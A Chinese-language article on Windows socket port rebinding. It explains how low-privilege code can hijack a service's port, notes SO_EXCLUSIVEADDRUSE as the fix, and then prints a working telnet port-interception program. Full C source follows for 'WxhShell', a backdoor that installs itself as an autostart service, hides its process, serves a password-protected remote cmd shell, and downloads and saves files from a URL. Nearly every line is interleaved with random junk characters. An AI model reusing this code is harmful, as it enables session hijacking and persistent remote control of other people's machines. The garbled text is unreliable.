在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3T>6Q#W5eO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
;&!QN#_ 0b<Qs88yd> saddr.sin_family = AF_INET;
a'?LC)^ UR(i_T&w saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t0za%q!fK< <dAxB$16sT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7+Nl)d:CJ EWq
< B) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
wKoar 6B Hdc 这意味着什么?意味着可以进行如下的攻击:
>[~`rOU*|Y ztAC3,r] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
BqpJvRJd L=.@hs 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
I}|E_U1Qj 9ph>4u(R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(4IP&^j:\ $@w,9J\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^E)8Sb9t Galh _;= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m|;gl|dTB e.Q'l/g 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;iQw2XhT s2F[v:|Wq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/XNC^!z6Js -S&d5(R #include
Zqv #include
yTNHM_P #include
B,` `2\B #include
N7GZ'-t^Er DWORD WINAPI ClientThread(LPVOID lpParam);
HdTB[( int main()
3Vk\iJ {
-~*kAh WORD wVersionRequested;
!Q,Dzv"7 DWORD ret;
c Y+n 6k5 WSADATA wsaData;
/(9.Fqe( BOOL val;
bZZ_yc SOCKADDR_IN saddr;
mnw(x#%P SOCKADDR_IN scaddr;
E_P,>f int err;
x7i,jMR SOCKET s;
:.f(}sCS SOCKET sc;
ezhfKt]j int caddsize;
G7KOJZb+D HANDLE mt;
%|ioNXMu DWORD tid;
UMMGT6s,E8 wVersionRequested = MAKEWORD( 2, 2 );
IR&b2FTcU err = WSAStartup( wVersionRequested, &wsaData );
6BZi4:PDx if ( err != 0 ) {
7#*`7 K'P! printf("error!WSAStartup failed!\n");
Fh&USn" return -1;
y'<5P~W!a }
P,#l~ \ saddr.sin_family = AF_INET;
s!]QG %`s1
Ocvp //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|`|zo+aW 9`CJhu saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
iAeq%N1(0 saddr.sin_port = htons(23);
BQv*8Hg
B6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
AbQnx%$u {
Fr<tk^~/ printf("error!socket failed!\n");
~wcp&D return -1;
Tu^H,vf }
g6$\i
m val = TRUE;
_s:5) //SO_REUSEADDR选项就是可以实现端口重绑定的
) bd`U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Yf1%7+V35 {
=tX"aCW~ printf("error!setsockopt failed!\n");
8M]QDgd. return -1;
}0>\%C }
vq\L9$WJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@Hr1.f //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qZlL6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L"uidd0(g e5w0}/yW/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
tItI^]w2s {
B"`86qc ret=GetLastError();
d6zq,x!cI printf("error!bind failed!\n");
kkOjAp{<t return -1;
;g?o~ev 8 }
x4`|[ listen(s,2);
6I|9@~!y[ while(1)
f%P#. {
w;kiH+& caddsize = sizeof(scaddr);
Gsy90 //接受连接请求
$ dKo} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
gEmsPk, if(sc!=INVALID_SOCKET)
4KW_#d`t {
>keYx<1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
']H*f2y if(mt==NULL)
+JB*1dz>8 {
\SWuylE printf("Thread Creat Failed!\n");
RGBntp% break;
`2j"Z.= }
aCyn9Y$= }
D+h`Z]"| CloseHandle(mt);
PpSQf14, }
R#ya9GN{ closesocket(s);
qg*xdefQ% WSACleanup();
xj5MKX{CJT return 0;
DtZ7UX\P }
3'7X[{uBr DWORD WINAPI ClientThread(LPVOID lpParam)
n0uL^{B {
VT;cz6"6b4 SOCKET ss = (SOCKET)lpParam;
!F2JT@6 SOCKET sc;
kPSi6ci unsigned char buf[4096];
>^v,,R8j SOCKADDR_IN saddr;
}To-c' long num;
B"t4{1/ DWORD val;
z:08;}t DWORD ret;
!1<>][F //如果是隐藏端口应用的话,可以在此处加一些判断
`R-VJR 2" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
c=Zurqj saddr.sin_family = AF_INET;
m'2EiYX$}\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o%h[o9i saddr.sin_port = htons(23);
#BI6+rfv| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
, lBHA+@ {
}dEf |6_ printf("error!socket failed!\n");
Slp_o\s$@ return -1;
sv#/ 78 ~| }
Z}>+!Z val = 100;
)2bbG4:N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iv6bXV'N {
t k+t3+ ret = GetLastError();
3`ze<K(( return -1;
_2xYDi }
{InW%qSn_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@Z@S;RWSU {
l,
-q:8 ret = GetLastError();
w)}@svv" return -1;
V&d?4i4/Q }
-M-y*P) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
f/i[?
gw {
\>e>J\t: printf("error!socket connect failed!\n");
deutY.7g closesocket(sc);
U> {CG+X closesocket(ss);
31mlnDif return -1;
XK
yW }
(FOJHjtkM while(1)
:;o?d&C {
?MJ5GVeH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
w)Y}hlcq //如果是嗅探内容的话,可以再此处进行内容分析和记录
D^w<V%]. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2/l4,x num = recv(ss,buf,4096,0);
{G _|gs if(num>0)
WZ
,t~TN send(sc,buf,num,0);
>fgV!o4 else if(num==0)
wM#q [m; break;
%&4\'lE num = recv(sc,buf,4096,0);
Xgo`XsA if(num>0)
}Q{4G send(ss,buf,num,0);
*G,r:Bnb else if(num==0)
o%v,6yv break;
cqb]LC }
z9^_5la# closesocket(ss);
2Zi&=Zj" closesocket(sc);
@C5%`{\ return 0 ;
4,ewp coC% }
s;:quM zfUkHL6 xf8.PqVNo ==========================================================
rB3b &3Mps[u:h 下边附上一个代码,,WXhSHELL
&sS]h|2Z5 Y\{lQMCy ==========================================================
Wr.~Ns< rXnG"A #include "stdafx.h"
GC~N$!* +Z%8X!Q #include <stdio.h>
/Pa<I^-# #include <string.h>
90+Hv:wF #include <windows.h>
Jv:|J
DZ' #include <winsock2.h>
_ 4+=S)$ #include <winsvc.h>
] Oe[;<I #include <urlmon.h>
m{0u+obi&w JT 5+d , #pragma comment (lib, "Ws2_32.lib")
,
-S n #pragma comment (lib, "urlmon.lib")
n/GJ&qLi:g
%Lgfi #define MAX_USER 100 // 最大客户端连接数
vX}mwK8
#define BUF_SOCK 200 // sock buffer
}i2dXC/ #define KEY_BUFF 255 // 输入 buffer
WFpR@53Db s&qr2'F+z #define REBOOT 0 // 重启
&bS!>_9 #define SHUTDOWN 1 // 关机
TWTRMc;z+ R$VeD1n@ #define DEF_PORT 5000 // 监听端口
}F
(lffb +PkN~m` #define REG_LEN 16 // 注册表键长度
j_~lc,+m #define SVC_LEN 80 // NT服务名长度
.t9zF-jk n!y}p q6 // 从dll定义API
9i#K{CkC| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6c&OR2HGqO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
n0kkUc-`
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g3,F+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q"pnFK9/L x$tzq+N // wxhshell配置信息
g].hL struct WSCFG {
=;A~$[ g int ws_port; // 监听端口
~b{j`T char ws_passstr[REG_LEN]; // 口令
rzgzX int ws_autoins; // 安装标记, 1=yes 0=no
Zu %oIk char ws_regname[REG_LEN]; // 注册表键名
@?"t&h char ws_svcname[REG_LEN]; // 服务名
Y{ 2xokJ N char ws_svcdisp[SVC_LEN]; // 服务显示名
8rsv8OO char ws_svcdesc[SVC_LEN]; // 服务描述信息
X+XbIbUuL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
nzORG int ws_downexe; // 下载执行标记, 1=yes 0=no
ecy41y'~: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&,@wLy^T char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5Ai$1'*p hTbot^/ };
t9
m],aH esQRg~aCGy // default Wxhshell configuration
tc<t%]c struct WSCFG wscfg={DEF_PORT,
\78kShx "xuhuanlingzhe",
T?E[LzZg 1,
y7#4Mcc`~ "Wxhshell",
a'ODm6# "Wxhshell",
XG}pp`{o "WxhShell Service",
W'9=st' "Wrsky Windows CmdShell Service",
q! U'DDEP "Please Input Your Password: ",
7?JcB?G4 1,
}D eW2Jp "
http://www.wrsky.com/wxhshell.exe",
j>OB<4?.+ "Wxhshell.exe"
/I&b5Vp };
8RR6f98FF ;]^JUmxU[d // 消息定义模块
^@..\X9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+bK.{1 char *msg_ws_prompt="\n\r? for help\n\r#>";
mg^\"GC*8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#`H^8/!e char *msg_ws_ext="\n\rExit.";
wh;E\^',n char *msg_ws_end="\n\rQuit.";
in6iJ*E@' char *msg_ws_boot="\n\rReboot...";
L)ry!BuHI char *msg_ws_poff="\n\rShutdown...";
>ak53Ij$ char *msg_ws_down="\n\rSave to ";
u +OfUBrf v{2Vg char *msg_ws_err="\n\rErr!";
^~dvA)bH char *msg_ws_ok="\n\rOK!";
%U)M?UNjw i@ avm7 char ExeFile[MAX_PATH];
L~FE;*>7 int nUser = 0;
8h2! 8' HANDLE handles[MAX_USER];
I:aG(8Bi)H int OsIsNt;
9jwo f}OU H;n(qBSB SERVICE_STATUS serviceStatus;
)(pJ~"'L SERVICE_STATUS_HANDLE hServiceStatusHandle;
h&6x.ps@ lEC58`Ws // 函数声明
P&Q 5ZQb int Install(void);
]jzINaMav int Uninstall(void);
$0zH2W int DownloadFile(char *sURL, SOCKET wsh);
gZs8BKO int Boot(int flag);
xQhvs=Zm] void HideProc(void);
S&P5##.u` int GetOsVer(void);
1`_i%R^ int Wxhshell(SOCKET wsl);
o^!
Zt 9 void TalkWithClient(void *cs);
=>CrZ23B" int CmdShell(SOCKET sock);
hD/bO int StartFromService(void);
~U~4QQ V int StartWxhshell(LPSTR lpCmdLine);
$V8B =k~ HiG&`:P>q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R%Yws2Le2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
d0 tN73( ;G3{ e // 数据结构和表定义
`v)-v< SERVICE_TABLE_ENTRY DispatchTable[] =
J)n g,i {
*{)![pDYd {wscfg.ws_svcname, NTServiceMain},
~>)GW {NULL, NULL}
iV71t17 };
G?/1
F1 P
+ nT% // 自我安装
mYk5f_} int Install(void)
4>^ %_Xj[ {
n.y72-&v char svExeFile[MAX_PATH];
AsM""x1Ix HKEY key;
hGF(E* strcpy(svExeFile,ExeFile);
viBf". N3H!ptn37 // 如果是win9x系统,修改注册表设为自启动
>}/"gx if(!OsIsNt) {
8X]j;Rb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RS/%uxS? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qD#-q vn RegCloseKey(key);
qhpq\[U6in if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?xX`_l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^dYLB.'= RegCloseKey(key);
MnsnW{VGX return 0;
fK^FD&sF }
ki^[~JS>' }
N2tvP+Z6D }
i\rI j0+ else {
@Cm"lv.hz 9#6ilF:F // 如果是NT以上系统,安装为系统服务
H$ xSl1>E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
tO?*x/XC{ if (schSCManager!=0)
cVn7jxf {
~%Yh`c
EP SC_HANDLE schService = CreateService
)11/BB\v (
BoIe<{X(9 schSCManager,
7XWgY%G wscfg.ws_svcname,
uW[s? wscfg.ws_svcdisp,
{M E|7TS= SERVICE_ALL_ACCESS,
qr=U=oK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
VkhK2 SERVICE_AUTO_START,
Z/uRz]Hi SERVICE_ERROR_NORMAL,
S,S_BB<Y[b svExeFile,
7!JoP?! NULL,
6aQ{EO-]'= NULL,
jO:<"l^+u NULL,
}+ #ag:M NULL,
qm]ljut NULL
JEBo!9 );
"Jnq~7] if (schService!=0)
B?Y%y@. {
p|Rxy"} CloseServiceHandle(schService);
hY'"^?OP CloseServiceHandle(schSCManager);
dt3Vy*zL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~`_nw5y strcat(svExeFile,wscfg.ws_svcname);
.#WF' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'}4[m>/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^Z:x poz, RegCloseKey(key);
NnHM$hEI"U return 0;
7@tr^JykO }
,%nmCetD@ }
~P6K)V|@< CloseServiceHandle(schSCManager);
L1C'V/g }
/'VCJjzZ }
ocgbBE YBS]JCO return 1;
x5`q)!<& }
JG}U,{7( /e{Oqhf[n // 自我卸载
( v
~/glf int Uninstall(void)
4N` MY8', {
#2HygS HKEY key;
aeBth{ 1NOz $fW if(!OsIsNt) {
'OX6eY5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S-f3rL[? RegDeleteValue(key,wscfg.ws_regname);
2,QkktJLo RegCloseKey(key);
qs-:JmA_w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y@.JW RegDeleteValue(key,wscfg.ws_regname);
X?7$JV-: RegCloseKey(key);
P<4jY?. return 0;
R?&S]?H }
6/#= dv }
[Q 2t,tQx }
q}\\p else {
GF/p|I D UN>hJN;c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{&h &: if (schSCManager!=0)
Z p__ {
acGmRP9g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
wH${q@z _ if (schService!=0)
0|^x[dh {
m/ 6oQ if(DeleteService(schService)!=0) {
1;:2 =8 CloseServiceHandle(schService);
-ZyFUGd% CloseServiceHandle(schSCManager);
([9h.M6v return 0;
.PAkW2\# }
i*U\~CZjT CloseServiceHandle(schService);
VJR'B={h }
)uX:f8 CloseServiceHandle(schSCManager);
XIp9=jhSR }
1
yzxA( }
@JEr/yy |[{;*wtv return 1;
GO?-z 0V }
~l}TlRqL ^c(PZ,/#JB // 从指定url下载文件
G0(c@FBK int DownloadFile(char *sURL, SOCKET wsh)
vy"Lsr3 {
;!~;05^iD HRESULT hr;
G8;S`-D1a, char seps[]= "/";
rf`Br\g8 char *token;
nL:vRJr-$ char *file;
4
^+hw; char myURL[MAX_PATH];
ASYUKh,h char myFILE[MAX_PATH];
PZ ogN %cm5Z^B1" strcpy(myURL,sURL);
X
]a> token=strtok(myURL,seps);
.y\HQ^j while(token!=NULL)
Maa.>2v< {
rL,)Tc|" file=token;
_N-7H\hF token=strtok(NULL,seps);
v;RQVH;, }
KqS2 h?ia4t GetCurrentDirectory(MAX_PATH,myFILE);
+I Ze`M%n strcat(myFILE, "\\");
-y\N 9 strcat(myFILE, file);
eLC&f} send(wsh,myFILE,strlen(myFILE),0);
<#s-hQ send(wsh,"...",3,0);
O?2<rbx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n7MS{` if(hr==S_OK)
/ P:Hfq return 0;
MV/~Rmd. else
DS$ _"'g%i return 1;
Fhsmpe~
yCkm| }
|v1 K@ fN4pG*D // 系统电源模块
eN-{ int Boot(int flag)
3=<iGX"z {
~NcJLU!au HANDLE hToken;
NuooA TOKEN_PRIVILEGES tkp;
cdfll+ xBZ9|2Y s if(OsIsNt) {
A5`7o9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<eh(~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xXx`a\i tkp.PrivilegeCount = 1;
jo |q,t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aW6+Up+G* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
b #^aM if(flag==REBOOT) {
1`}fbX;"m) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\=@r1[d return 0;
RYV6hp)| }
>=`c [=:Z_ else {
4bxkp3~h; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Xou#38&p> return 0;
O\LW
8\M }
=k*0O_ }
&S3W/lQs else {
|O)deiJRy if(flag==REBOOT) {
"~(&5M\8` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<bx9;1C>zd return 0;
<?zTnue }
}g*-Ty else {
@*uX[) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
kdUGmR0d return 0;
hKTg~y^ }
> 4ct[fW+ }
hY1|qp AslH
V@K return 1;
L@z !,r, }
a`-hLX)~Z ];I| _fXo% // win9x进程隐藏模块
1SFKP$^ void HideProc(void)
XsOOkf\_ {
C^%zV>o 9_Re,h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ii;WmE& if ( hKernel != NULL )
|tg?b&QR {
{a3kn\6H0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZmULy;{<) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`Q&]dE= FreeLibrary(hKernel);
2&Byq }
0v@/I< FqTkUWd,# return;
Wv0'?NL. }
SznE:+ +hg\DqO^M // 获取操作系统版本
Y/S3)o int GetOsVer(void)
2*citB{ {
_onp%* OSVERSIONINFO winfo;
p0rwiBC=q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@1F 'V' GetVersionEx(&winfo);
0H3T'J%r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
B\_u${C return 1;
~& 5&s else
h6h1.lZ return 0;
MA+-2pMc|7 }
^-IsK#r.k ^2r}_AX // 客户端句柄模块
;1.>"zX( int Wxhshell(SOCKET wsl)
mbBRuPEa=u {
R1.sq(z` SOCKET wsh;
,w%oSlOu struct sockaddr_in client;
z9ShP&^4[ DWORD myID;
8sIrG B"PHJj while(nUser<MAX_USER)
y"\,%. {
w"v'dU^ int nSize=sizeof(client);
DLYZsWA, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x~;EH6$5'/ if(wsh==INVALID_SOCKET) return 1;
\5P.C #Q3PzDfj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
RW7oL:$dt if(handles[nUser]==0)
c[ony:6 closesocket(wsh);
=$8@JF' else
r%l%yCH nUser++;
mY`]33??v }
HqdJdWl#" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{(OIu]: e5ru:#P.p return 0;
*>'2$me= }
dPx<Dz; DAnb.0 // 关闭 socket
[tqO}D void CloseIt(SOCKET wsh)
jRG\C=&(x {
$W$# CTM closesocket(wsh);
ZB[(Tv1 nUser--;
T@|l@xm~L ExitThread(0);
;:Z=%R$wJ }
|WAD $3 P;[Y42\z| // 客户端请求句柄
Blbq3y+Sq void TalkWithClient(void *cs)
]1?=jlUl {
_~[?>cF% JT|u;Z*n SOCKET wsh=(SOCKET)cs;
?{: D,{+ char pwd[SVC_LEN];
HRV*x!|I char cmd[KEY_BUFF];
Yu^H*b char chr[1];
_IL2-c8 int i,j;
p08kZ ^%8qKC`Tt while (nUser < MAX_USER) {
y-# "XNu-_$N<a if(wscfg.ws_passstr) {
=#(0)p$EC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i7nL_N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ole|J //ZeroMemory(pwd,KEY_BUFF);
y?#9>S >:\ i=0;
HmExfW
while(i<SVC_LEN) {
A/"}Y1#qX\ -~][0PVL9 // 设置超时
NQC3!=pQ}Y fd_set FdRead;
j`R<90~/ struct timeval TimeOut;
C.>
FD_ZERO(&FdRead);
i<m$#6<Z FD_SET(wsh,&FdRead);
+~d1;0l| TimeOut.tv_sec=8;
|qlS6Aln TimeOut.tv_usec=0;
8lOI\- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
w,Z"W;| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6<Z*Tvk{C i_u
{5 U; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2L2 VVO pwd
=chr[0]; 1n'$Ji7
if(chr[0]==0xd || chr[0]==0xa) { #SQvXMT
pwd=0; {y-2
break; 1TNz&=e
} ;cI#S%uvpn
i++; i-,D_
} d=XpO*v,[
dC`tN5
// 如果是非法用户,关闭 socket _1sMY hI
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L)F1NuR
} 'j,oIqx
+2DE/wE]e+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SY,I>-%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yI8m%g%
o\ngR\>
while(1) { py{eX`(MS
x_==Ss
ZeroMemory(cmd,KEY_BUFF); )nwZ/&@
qL|
5-(P
// 自动支持客户端 telnet标准 F>dwL bnb
j=0; [$l"-*s4
while(j<KEY_BUFF) { 6F`qi:a+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #JA}LA"l
cmd[j]=chr[0]; 2{ o0@
if(chr[0]==0xa || chr[0]==0xd) { [ -ISR7D
cmd[j]=0; LJGJ|P
break; r C_d$Jv
} hq<5lE^
j++; TDlZ!$g(
} e?V,fzg
~G>jw"r
// 下载文件 TbLe6x
if(strstr(cmd,"http://")) { Q,.By&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3;*z3;#}
if(DownloadFile(cmd,wsh))
?7#7:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ge~q3"
else <EMkD1e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =m}TU)4.
} ^m*3&x8
else { =fl%8"%N&
eZg$AOpU
switch(cmd[0]) { .H8mRvd?
%}C9
// 帮助 &1wpGJqm
case '?': { qZaO&"q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mD7}t
break; *z0K%@M
} D(Qa>B"1
// 安装 W57&\PXYn
case 'i': { kMy<G8 s
if(Install()) 2 H[ ; v +
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]^,vei
else pOMgEEhfS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _J,xT
break; flG=9~qcGQ
} {FWyu5.
// 卸载 p*|ah%F6N
case 'r': { vMhYpt?7\
if(Uninstall()) 0q{[\51*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R2w`Y5#`
else Ikj=`,a2B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iZQ\
m0Zc
break; mDfwn7f
} #vQ?
// 显示 wxhshell 所在路径 P@gtdi(Q
case 'p': { Ep mJWbU
char svExeFile[MAX_PATH]; +Hj/0pp
strcpy(svExeFile,"\n\r"); jYWw.g<
strcat(svExeFile,ExeFile); %M9;I
send(wsh,svExeFile,strlen(svExeFile),0); zPVd(V~(T
break; KmQ^?Ad-C
} LeSHRoD
// 重启 1Bg_FPu
case 'b': { y"vX~LR
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,/&Z3e
if(Boot(REBOOT)) @`w n<%o$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OV[`|<C '
else { >
\3ah4"o
closesocket(wsh); &~#iIk~%
ExitThread(0); *69c-`o
} XJSa]P^B1
break; R}r~p?(M
} /b#q*x-b
// 关机 zDDK
case 'd': { P16YS8$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )~V}oKk0t
if(Boot(SHUTDOWN)) 5Z{_m;I.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4T`&Sl
else { }c%
pH{HI
closesocket(wsh); KiAcA]0
ExitThread(0); O8lFx_N7Q
} )iU^&@[S
break; FXahZW~Ol
} Uoji@
// 获取shell s<vs:jna
case 's': { vXdZmYrC
CmdShell(wsh); IU#x[P!
closesocket(wsh); ES}. xZ#~
ExitThread(0); \}JrFc%O
break; #Qh>z%Mn^3
} dl0FQNz8@B
// 退出 0xCz'mJ
case 'x': { 1fFj:p./l_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `~h4D(n`
CloseIt(wsh); k_aW
break; 7,'kpyCj
} Jdj?I'XtY
// 离开 |QMA@Mx
case 'q': { +Ok%e.\ZM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6|!NLwa
closesocket(wsh); 3c #s|qW
WSACleanup(); XE rUS80
exit(1); ?Elg?)os
break; V8PLFt;
} "DQ'C%sL9
} ^Ga&}-
} %=Tr^{i
;..o7I
// 提示信息 1 ] #9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K
|*5Kwi
} 3yV'XxC
} j~`\XX{>
{]kaJ{U>
return; U)D[]BVg
} -5bA
$
rmd;\)#*`
// shell模块句柄 P)6lu8zQ
int CmdShell(SOCKET sock) t6lE#<xZV;
{ n~g LPHY
STARTUPINFO si; idc4Cf+4
ZeroMemory(&si,sizeof(si)); A\QJLWBv^$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7:Ztuc]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?=Db@97
PROCESS_INFORMATION ProcessInfo; YF[f Z
char cmdline[]="cmd"; p
&(OZJT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1;lmu]I>)
return 0; @T:faJ5\'
} k< j"~S1
bw4oLu?
// 自身启动模式 UiQEJXwnz
int StartFromService(void) nJZ6?
V
{ H(-4:BD?
typedef struct UMMB0(0D
{ `bG7"o`
DWORD ExitStatus; @ -:]P8
DWORD PebBaseAddress; E
D"!n-Hq
